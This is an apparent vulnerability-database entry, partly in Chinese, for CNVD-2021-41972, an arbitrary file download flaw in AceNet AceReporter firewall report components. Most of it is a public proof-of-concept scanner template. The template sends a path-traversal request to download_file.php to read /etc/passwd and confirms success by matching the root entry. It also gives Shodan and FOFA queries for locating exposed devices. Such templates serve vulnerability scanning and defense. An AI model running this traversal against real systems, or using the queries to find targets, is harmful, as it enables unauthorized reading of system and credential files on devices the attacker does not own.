CNVD-2021-41972: AceNet AceReporter Report - Arbitrary File Download

日期: 2025-08-01 | 影响软件: AceNet AceReporter | POC: 已公开

漏洞描述

All firewall devices that use the AceNet AceReporter report component can download arbitrary files

PoC代码[已公开]

id: CNVD-2021-41972

info:
  name: AceNet AceReporter Report - Arbitrary File Download
  author: DhiyaneshDk
  severity: high
  description: |
    All firewall devices that use the AceNet AceReporter report component can download arbitrary files
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972
    - https://github.com/hktalent/scan4all/blob/main/lib/goby/goby_pocs/AceNet_AceReporter_Report_component_Arbitrary_file_download.txt
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-1595726841
    fofa-query: body="Login @ Reporter"
  tags: cnvd2021,cnvd,acenet,acereporter,lfi
variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename={{filename}}.txt"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - 'filename='
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200cc299a3cff23c8611d3898112190d0d24496f279d77635534ab4a5bacefa5bb022100a3737b3f4a75db7bd36cd5d84dc61f56904cbe76dd12057a0cc73205bdc0f678:922c64590222798bb761d5b6d8e72950